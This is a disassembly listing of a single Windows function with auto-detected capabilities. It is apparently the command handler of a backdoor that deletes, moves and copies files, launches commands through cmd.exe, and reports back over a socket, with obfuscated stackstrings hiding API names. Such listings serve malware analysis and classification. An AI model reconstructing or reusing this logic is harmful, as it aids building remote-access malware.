Function at 0x180008380
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Copy file
Create process on windows
Create process suspended
Create thread
Delete file
Get common file path
Get file attributes
Move file

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3a0]
sub rsp, 0x4a0
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x4f8], rbx
mov rax, qword [0x1800438e8]
xor rax, rsp
mov qword [rbp + 0x390], rax
mov edi, r8d
mov rbx, rdx
mov rsi, rcx
xor r13d, r13d
mov dword [rsp + 0x5c], r13d
cmp byte [rdx], 0xc9
je 0x1800093df
call fcn.1800032b0
mov qword [rsp + 0x68], r13
mov dword [rsp + 0x58], r13d
cmp dword [rsi + 0x50], r13d
je 0x1800084ae
mov dword [rbp + 0x108], 0x4e52454b
mov dword [rbp + 0x10c], 0x32334c45
mov dword [rbp + 0x110], 0x6c6c642e
mov byte [rbp + 0x114], r13b
mov dword [rbp + 0xe0], 0x36776f57
mov dword [rbp + 0xe4], 0x73694434
mov dword [rbp + 0xe8], 0x656c6261
mov dword [rbp + 0xec], 0x36776f57
mov dword [rbp + 0xf0], 0x52734634
mov dword [rbp + 0xf4], 0x72696465
mov dword [rbp + 0xf8], 0x69746365
mov word [rbp + 0xfc], 0x6e6f
mov byte [rbp + 0xfe], r13b
lea rcx, [rbp + 0x108]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x18000848e
lea rcx, [rbp + 0x108]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x1800084ae
lea rdx, [rbp + 0xe0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1800084ae
lea rcx, [rsp + 0x68]
call rax
mov dword [rsp + 0x58], eax
movzx ecx, byte [rbx]
call fcn.1800032b0
movzx r11d, byte [rbx]
cmp r11d, 0x1e
ja case.0x1800084d6.14
lea rax, [0x180000000]
mov edx, dword [rax + r11*4 + 0x940c]
add rdx, rax
jmp rdx
lea rdx, [rbx + 1]
mov rcx, rsi
call fcn.180009b20
jmp case.0x1800084d6.14
lea rcx, [rbx + 1]
cmp byte [rsi + 0x278], r13b
je 0x1800084fd
call fcn.18000b6b0
jmp 0x180008503
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov byte [rsp + 0x50], gethostbyname
cmp dword [rsi + 0x10], r13d
jne case.0x1800084d6.14
mov rcx, qword [rsi + 8]
mov rax, qword [rcx]
mov r8d, 1
lea rdx, [rsp + 0x50]
call qword [rax + reloc.WS2_32.dll_recv]
jmp case.0x1800084d6.14
lea rdx, [rbx + 1]
mov rcx, rsi
call fcn.180009d50
jmp 0x180008503
lea rdx, [rbx + 1]
mov rcx, rsi
call fcn.18000a200
jmp case.0x1800084d6.14
lea rdx, [rbx + 1]
mov rcx, rsi
call fcn.18000a070
jmp case.0x1800084d6.14
lea rcx, [rbx + 1]
call fcn.1800094c0
mov byte [rsp + 0x50], 0x2e
jmp 0x180008508
lea rcx, [rbx + 1]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cdqe
lea rdx, [rbx + rax*2 + 1]
lea rcx, [rbx + 1]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
mov byte [rsp + 0x50], 0x2f
jmp 0x180008508
movzx edx, byte [rbx + 1]
mov rcx, rsi
call fcn.18000a650
jmp case.0x1800084d6.14
mov eax, dword [rbx + 1]
mov dword [rsi + 0x54], eax
mov rcx, rsi
call fcn.18000a7c0
jmp case.0x1800084d6.14
lea rdx, [rbx + 1]
mov rcx, rsi
call fcn.18000a6d0
jmp case.0x1800084d6.14
lea r8d, [rdi - 1]
lea rdx, [rbx + 1]
mov rcx, rsi
call fcn.18000a930
jmp case.0x1800084d6.14
lea r8, [rbx + 2]
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp case.0x1800084d6.14
mov word [rbp + 0x180], r13w
xor edx, edx
mov r8d, 0x206
lea rcx, [rbp + 0x182]
call fcn.180021060
lea rdx, str.cmd.exe__c_start
lea rcx, [rbp + 0x180]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbx + 2]
lea rcx, [rbp + 0x180]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [rsp + 0x78]
call fcn.180021060
mov dword [rsp + 0x70], WSAGetLastError
lea rax, [rsi + 0x6a8]
mov qword [rbp - 0x80], rax
mov qword [rbp + 0x108], r13
xor eax, eax
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], rax
lea rax, [rbp + 0x108]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x180]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
jmp case.0x1800084d6.14
lea rdx, [rbx + 1]
mov rcx, rsi
call fcn.18000a9e0
jmp case.0x1800084d6.14
cmp dword [rsi + 0x290], 1
je 0x1800093df
mov dword [rsi + 0x290], r13d
lea rcx, [rsi + 0x294]
lea rdx, [rbx + 1]
mov r8d, 0x414
call fcn.18001bea0
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
mov r9, rsi
lea r8, [0x18000adb0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsi + 0x288], rax
jmp case.0x1800084d6.14
cmp dword [rsi + 0x290], r13d
jne 0x180008760
mov dword [rsi + 0x290], 1
or edx, 0xffffffff
mov rcx, qword [rsi + 0x288]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsi + 0x288]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsi + 0x290], r13d
mov byte [rsp + 0x50], 0x20
jmp 0x180008508
mov ecx, 0x96
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rsi
call fcn.18000b060
jmp case.0x1800084d6.14
xor r9d, r9d
lea r8d, [r9 + 8]
lea rdx, [rbp + 0x180]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea rcx, [rbp + 0x180]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r12d, [rax + rax + 3]
movsxd rdi, r12d
mov rcx, rdi
call fcn.18001ab88
mov rbx, rax
mov r8, rdi
xor edx, edx
mov rcx, rax
call fcn.180021060
mov byte [rbx], 0x36
lea rcx, [rbp + 0x180]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd r8, eax
add r8, r8
lea rcx, [rbx + 1]
lea rdx, [rbp + 0x180]
call fcn.18001bea0
cmp dword [rsi + 0x10], r13d
jne 0x180008801
mov rcx, qword [rsi + 8]
mov rax, qword [rcx]
mov r8d, r12d
mov rdx, rbx
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, rbx
call fcn.18001c9dc
jmp case.0x1800084d6.14
mov ecx, 0x208
call fcn.18001ab88
mov r12, rax
xor eax, eax
mov qword [r12], rax
lea rcx, [rbx + 1]
mov rdx, r12
call fcn.18000af90
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r13d, [rax + rax + 3]
movsxd rdi, r13d
mov rcx, rdi
call fcn.18001ab88
mov rbx, rax
mov r8, rdi
xor edx, edx
mov rcx, rax
call fcn.180021060
mov byte [rbx], 0x37
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd r8, eax
add r8, r8
lea rcx, [rbx + 1]
mov rdx, r12
call fcn.18001bea0
cmp dword [rsi + 0x10], 0
jne 0x18000888a
mov rcx, qword [rsi + 8]
mov rax, qword [rcx]
mov r8d, r13d
mov rdx, rbx
call qword [rax + reloc.WS2_32.dll_recv]
test r12, r12
je 0x180008897
mov rcx, r12
call fcn.18001c9dc
mov rcx, rbx
call fcn.18001c9dc
jmp case.0x1800084d6.14
lea rcx, [rbx + 1]
call fcn.18000b2f0
mov byte [rsp + 0x50], 0x38
jmp 0x180008508
lea rcx, [rbx + 1]
call fcn.18000b480
mov byte [rsp + 0x50], 0x38
jmp 0x180008508
cmp edi, 2
jb 0x1800093df
mov rcx, qword [rsi + 0x280]
test rcx, rcx
je 0x1800088eb
call fcn.18001c9dc
mov qword [rsi + 0x280], r13
lea eax, [rdi - 1]
mov edi, eax
mov ecx, eax
call fcn.18001ab88
mov qword [rsi + 0x280], rax
lea rdx, [rbx + 1]
mov r8d, edi
mov rcx, rax
call fcn.18001bea0
jmp case.0x1800084d6.14
cmp edi, 0x1fe
ja 0x1800093df
cmp qword [rsi + 0x280], r13
je 0x1800093df
mov ecx, 0x410
call fcn.18001ab88
mov r14, rax
mov qword [rsp + 0x60], rax
xor edx, edx
mov r8d, 0x410
mov rcx, rax
call fcn.180021060
lea r8d, [rdi - 1]
lea rdx, [rbx + 1]
mov rcx, r14
call fcn.18001bea0
mov rdx, qword [rsi + 0x280]
mov qword [rbp + 0x170], 7
xor ebx, ebx
mov qword [rbp + 0x168], rbx
mov word [rbp + 0x158], bx
xor eax, eax
or r15, 0xffffffffffffffff
mov rcx, r15
mov rdi, rdx
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rcx, [rbp + 0x158]
call fcn.18000ea90
nop
lea rax, [0x180039d20]
mov qword [rbp - 0x10], rax
mov dword [rsp + 0x5c], 1
lea rax, vtable.std::basic_istream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + 0x80], rax
mov qword [rbp - 8], rbx
lea rcx, [rbp + 0x80]
call fcn.180006f60
lea rdx, [rbp]
mov qword [rbp + 0xc8], rdx
mov qword [rbp + 0xd0], rbx
lea rcx, [rbp + 0x80]
call fcn.18000eed0
mov word [rbp + 0xd8], ax
cmp qword [rbp + 0xc8], rbx
jne 0x180008a1a
mov edx, dword [rbp + 0x90]
or edx, 4
xor r8d, r8d
lea rcx, [rbp + 0x80]
call fcn.180006df0
nop
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rcx - 0x10], rax
lea rax, [rbp]
mov qword [rbp + 0x108], rax
lea rcx, [rbp]
call fcn.18000e9a0
nop
lea rax, vtable.std::basic_stringbuf_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp], rax
lea rdx, [rbp + 0x158]
cmp qword [rbp + 0x170], 8
cmovae rdx, qword [rbp + 0x158]
mov r9d, 2
mov r8, qword [rbp + 0x168]
lea rcx, [rbp]
call fcn.18000ecd0
nop
mov qword [rbp + 0x148], 7
mov qword [rbp + 0x140], rbx
mov word [rbp + 0x130], bx
mov ecx, 0x410
call fcn.18001ab88
mov r13, rax
lea rdx, [rbp + 0x130]
lea rcx, [rbp - 0x10]
call fcn.18000f450
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
add rdx, rax
test byte [rdx + 0x10], 6
cmovne rdx, rbx
test rdx, rdx
je 0x18000904b
movabs rcx, 0x7ffffffffffffffe
mov rax, r15
mov rdx, qword [rbp + 0x140]
sub rax, rdx
cmp rax, 1
jbe 0x18000903e
lea rdi, [rdx + 1]
cmp rdi, rcx
ja 0x180009031
mov rcx, qword [rbp + 0x148]
cmp rcx, rdi
jae 0x180008b1b
mov r8, rdx
mov rdx, rdi
lea rcx, [rbp + 0x130]
call fcn.18000ef70
jmp 0x180008b3d
test rdi, rdi
jne 0x180008b4e
mov qword [rbp + 0x140], rbx
lea rax, [rbp + 0x130]
cmp rcx, 8
cmovae rax, qword [rbp + 0x130]
mov word [rax], bx
mov rdx, qword [rbp + 0x140]
mov rcx, qword [rbp + 0x148]
test rdi, rdi
setne al
test al, al
je 0x180008b95
lea rax, [rbp + 0x130]
cmp rcx, 8
cmovae rax, qword [rbp + 0x130]
mov word [rax + rdx*2], bx
mov qword [rbp + 0x140], rdi
lea rax, [rbp + 0x130]
cmp qword [rbp + 0x148], 8
cmovae rax, qword [rbp + 0x130]
mov word [rax + rdi*2], bx
mov rcx, qword [rbp + 0x148]
lea r12, [rbp + 0x130]
cmp rcx, 8
cmovae r12, qword [rbp + 0x130]
mov qword [rbp + 0x120], 7
mov qword [rbp + 0x118], rbx
mov word [rbp + 0x108], bx
xor eax, eax
mov rcx, r15
mov rdi, r12
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
mov rdx, r12
lea rcx, [rbp + 0x108]
call fcn.18000ea90
nop
mov rbx, qword [rbp + 0x120]
mov r14, qword [rbp + 0x108]
mov rax, qword [rbp + 0x118]
test rax, rax
je 0x180008fe3
cmp rax, 0xffffffffffffffff
mov rcx, r15
ja 0x180008c0e
lea rcx, [rax - 1]
lea rax, [rbp + 0x108]
cmp rbx, 8
cmovae rax, r14
lea rdi, [rax + rcx*2]
mov ecx, 1
lea rax, [0x180039a84]
movzx edx, word [rdi]
cmp word [rax], dx
je 0x180008c59
add rax, 2
dec rcx
jne 0x180008c30
lea rcx, [rbp + 0x108]
call fcn.18000e7f0
cmp rdi, rax
je 0x180008fe3
sub rdi, 2
jmp 0x180008c21
lea rax, [rbp + 0x108]
cmp rbx, 8
cmovae rax, r14
sub rdi, rax
sar rdi, 1
cmp rdi, 0xffffffffffffffff
je 0x180008fe3
xor edx, edx
mov r8d, 0x410
mov rcx, r13
call fcn.180021060
mov r14, qword [rsp + 0x60]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
movsxd r8, eax
mov rdx, r14
mov rcx, r13
call fcn.18001bea0
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rbx, eax
sub rbx, rdi
add rbx, rbx
lea rdi, [r12 + rdi*2 + 2]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rcx, eax
lea rcx, [r13 + rcx*2]
mov r8, rbx
mov rdx, rdi
call fcn.18001bea0
mov qword [rbp + 0xf8], 7
xor ebx, ebx
mov qword [rbp + 0xf0], rbx
mov word [rbp + 0xe0], bx
xor eax, eax
mov rcx, r15
mov rdi, r13
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
mov rdx, r13
lea rcx, [rbp + 0xe0]
call fcn.18000ea90
nop
mov rax, r15
mov rdx, qword [rbp + 0xf0]
sub rax, rdx
cmp rax, 1
jbe 0x180009024
lea rdi, [rdx + 1]
movabs rax, 0x7ffffffffffffffe
cmp rdi, rax
ja 0x180009017
mov rcx, qword [rbp + 0xf8]
cmp rcx, rdi
jae 0x180008d64
mov r8, rdx
mov rdx, rdi
lea rcx, [rbp + 0xe0]
call fcn.18000ef70
jmp 0x180008d86
test rdi, rdi
jne 0x180008d97
mov qword [rbp + 0xf0], rbx
lea rax, [rbp + 0xe0]
cmp rcx, 8
cmovae rax, qword [rbp + 0xe0]
mov word [rax], bx
mov rdx, qword [rbp + 0xf0]
mov rcx, qword [rbp + 0xf8]
test rdi, rdi
setne al
test al, al
je 0x180008dd7
lea rax, [rbp + 0xe0]
cmp rcx, 8
cmovae rax, qword [rbp + 0xe0]
mov word [rax + rdx*2], bx
mov qword [rbp + 0xf0], rdi
lea rax, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 8
cmovae rax, qword [rbp + 0xe0]
mov word [rax + rdi*2], bx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 0x10
je 0x180008f53
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180008ef6
call qword [sym.imp.WINMM.dll_timeGetTime]
mov r9d, eax
mov r8, r13
lea rdx, [0x180039a88]
mov rcx, r13
call qword [sym.imp.USER32.dll_wsprintfW]
xor eax, eax
mov rcx, r15
mov rdi, r13
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
mov rdx, r13
lea rcx, [rbp + 0xe0]
call fcn.18000ea90
mov rdx, r15
mov rcx, qword [rbp + 0xf0]
sub rdx, rcx
cmp rdx, 1
jbe 0x18000900a
lea rdi, [rcx + 1]
movabs rax, 0x7ffffffffffffffe
cmp rdi, rax
ja 0x180008ffd
cmp qword [rbp + 0xf8], rdi
jae 0x180008e82
mov r8, rcx
mov rdx, rdi
lea rcx, [rbp + 0xe0]
call fcn.18000ef70
jmp 0x180008ea8
test rdi, rdi
jne 0x180008eb2
mov qword [rbp + 0xf0], rbx
lea rax, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 8
cmovae rax, qword [rbp + 0xe0]
mov word [rax], bx
mov rcx, qword [rbp + 0xf0]
test rdi, rdi
setne al
test al, al
je 0x180008ef6
lea rax, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 8
cmovae rax, qword [rbp + 0xe0]
mov word [rax + rcx*2], bx
mov qword [rbp + 0xf0], rdi
lea rax, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 8
cmovae rax, qword [rbp + 0xe0]
mov word [rax + rdi*2], bx
mov qword [rsp + 0x70], rbx
xor eax, eax
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x60], rax
mov eax, 0x60c
mov word [rbp - 0x70], ax
mov dword [rsp + 0x78], 2
mov qword [rbp - 0x80], r12
lea rax, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 8
cmovae rax, qword [rbp + 0xe0]
mov qword [rbp - 0x78], rax
lea rcx, [rsp + 0x70]
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
jmp 0x180008f95
mov r8d, 1
mov rdx, r13
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x180008f95
call qword [sym.imp.WINMM.dll_timeGetTime]
mov r9d, eax
mov r8, r13
lea rdx, [0x180039a88]
mov rcx, r13
call qword [sym.imp.USER32.dll_wsprintfW]
xor r8d, r8d
mov rdx, r13
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CopyFileW]
nop
cmp qword [rbp + 0xf8], 8
jb 0x180008fab
mov rcx, qword [rbp + 0xe0]
call fcn.18001be54
mov qword [rbp + 0xf8], 7
mov qword [rbp + 0xf0], rbx
mov word [rbp + 0xe0], bx
cmp qword [rbp + 0x120], 8
jb 0x180008aa2
mov rcx, qword [rbp + 0x108]
call fcn.18001be54
jmp 0x180008aa2
cmp rbx, 8
jb 0x180008ff1
mov rcx, r14
call fcn.18001be54
xor ebx, ebx
mov r14, qword [rsp + 0x60]
jmp 0x180008aa2
lea rcx, str.string_too_long
call fcn.18001aaa0
int3
lea rcx, str.string_too_long
call fcn.18001aaa0
int3
lea rcx, str.string_too_long
call fcn.18001aaa0
int3
lea rcx, str.string_too_long
call fcn.18001aaa0
nop
lea rcx, str.string_too_long
call fcn.18001aaa0
int3
lea rcx, str.string_too_long
call fcn.18001aaa0
int3
test r13, r13
je 0x180009058
mov rcx, r13
call fcn.18001c9dc
test r14, r14
je 0x180009065
mov rcx, r14
call fcn.18001c9dc
mov byte [rsp + 0x50], 0x38
cmp dword [rsi + 0x10], 0
jne 0x180009086
mov rcx, qword [rsi + 8]
mov rax, qword [rcx]
mov r8d, 1
lea rdx, [rsp + 0x50]
call qword [rax + reloc.WS2_32.dll_recv]
nop
cmp qword [rbp + 0x148], 8
jb 0x18000909c
mov rcx, qword [rbp + 0x130]
call fcn.18001be54
mov qword [rbp + 0x148], 7
mov qword [rbp + 0x140], rbx
mov word [rbp + 0x130], bx
lea rcx, [rbp + 0x80]
call fcn.18000dcd0
lea rdx, vtable.std::ios_base.0
mov qword [rbp + 0x80], rdx
lea rcx, [rbp + 0x80]
call fcn.18001aebc
nop
cmp qword [rbp + 0x170], 8
jb case.0x1800084d6.14
mov rcx, qword [rbp + 0x158]
call fcn.18001be54
jmp case.0x1800084d6.14
cmp dword [rsi + 0x8c8], 1
je 0x1800093df
cmp edi, 1
jbe case.0x1800084d6.14
lea ecx, [rdi - 1]
mov eax, 2
mul rcx
mov r15, 0xffffffffffffffff
cmovo rax, r15
mov rcx, rax
call fcn.18001ab88
mov qword [rsi + 0x8b8], rax
mov r8, rdi
lea rdx, [rbx + 1]
mov rcx, rax
call fcn.18001bea0
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
mov r9, rsi
lea r8, [0x18000b860]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsi + 0x8c0], rax
jmp case.0x1800084d6.14
cmp dword [rsi + 0x8c8], r13d
jne case.0x1800084d6.14
mov dword [rsi + 0x8c8], 1
or edx, 0xffffffff
mov rcx, qword [rsi + 0x8c0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsi + 0x8c0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsi + 0x8c8], r13d
jmp case.0x1800084d6.14
mov byte [rsi + 0x278], 1
jmp case.0x1800084d6.14
mov byte [rsi + 0x278], r13b
jmp case.0x1800084d6.14
lea r12, [rbx + 1]
mov qword [rbp + 0x148], 7
mov qword [rbp + 0x140], r13
mov word [rbp + 0x130], r13w
xor eax, eax
or r15, 0xffffffffffffffff
mov rcx, r15
mov rdi, r12
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
mov rdx, r12
lea rcx, [rbp + 0x130]
call fcn.18000ea90
nop
mov rbx, qword [rbp + 0x148]
mov r13, qword [rbp + 0x130]
mov rax, qword [rbp + 0x140]
test rax, rax
je 0x1800092fd
cmp rax, r15
ja 0x180009232
lea r15, [rax - 1]
lea rax, [rbp + 0x130]
cmp rbx, 8
cmovae rax, r13
lea rdi, [rax + r15*2]
nop word [rax + rax]
mov ecx, 1
lea rax, [0x180039a94]
movzx edx, word [rdi]
nop
cmp word [rax], dx
je 0x180009285
add rax, 2
dec rcx
jne 0x180009260
lea rcx, [rbp + 0x130]
call fcn.18000e7f0
cmp rdi, rax
je 0x1800092fd
sub rdi, 2
jmp 0x180009250
lea rax, [rbp + 0x130]
cmp rbx, 8
cmovae rax, r13
sub rdi, rax
sar rdi, 1
cmp rdi, 0xffffffffffffffff
je 0x1800092fd
mov ecx, 0x410
call fcn.18001ab88
mov rbx, rax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd r8, eax
sub r8, rdi
add r8, r8
lea rdx, [r12 + rdi*2 + 2]
mov rcx, rbx
call fcn.18001bea0
mov rdx, r12
mov rcx, rsi
call fcn.18000c710
test rbx, rbx
je 0x1800092e5
mov rcx, rbx
call fcn.18001c9dc
nop
cmp qword [rbp + 0x148], 8
jb case.0x1800084d6.14
mov rcx, qword [rbp + 0x130]
call fcn.18001be54
jmp case.0x1800084d6.14
cmp rbx, 8
jb 0x1800093df
mov rcx, r13
call fcn.18001be54
jmp 0x1800093df
lea rdx, [rbx + 1]
mov rcx, rsi
call fcn.18000cf60
cmp dword [rsp + 0x58], 0
je 0x1800093df
mov dword [rbp + 0x108], 0x4e52454b
mov dword [rbp + 0x10c], 0x32334c45
mov dword [rbp + 0x110], 0x6c6c642e
mov byte [rbp + 0x114], 0
mov dword [rbp + 0xe0], 0x36776f57
mov dword [rbp + 0xe4], 0x76655234
mov dword [rbp + 0xe8], 0x57747265
mov dword [rbp + 0xec], 0x3436776f
mov dword [rbp + 0xf0], 0x65527346
mov dword [rbp + 0xf4], 0x65726964
mov dword [rbp + 0xf8], 0x6f697463
mov word [rbp + 0xfc], WSACleanup
lea rcx, [rbp + 0x108]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x1800093c3
lea rcx, [rbp + 0x108]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x1800093df
lea rdx, [rbp + 0xe0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1800093df
mov rcx, qword [rsp + 0x68]
call rax
mov rcx, qword [rbp + 0x390]
xor rcx, rsp
call fcn.18001be70
mov rbx, qword [rsp + 0x4f8]
add rsp, 0x4a0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret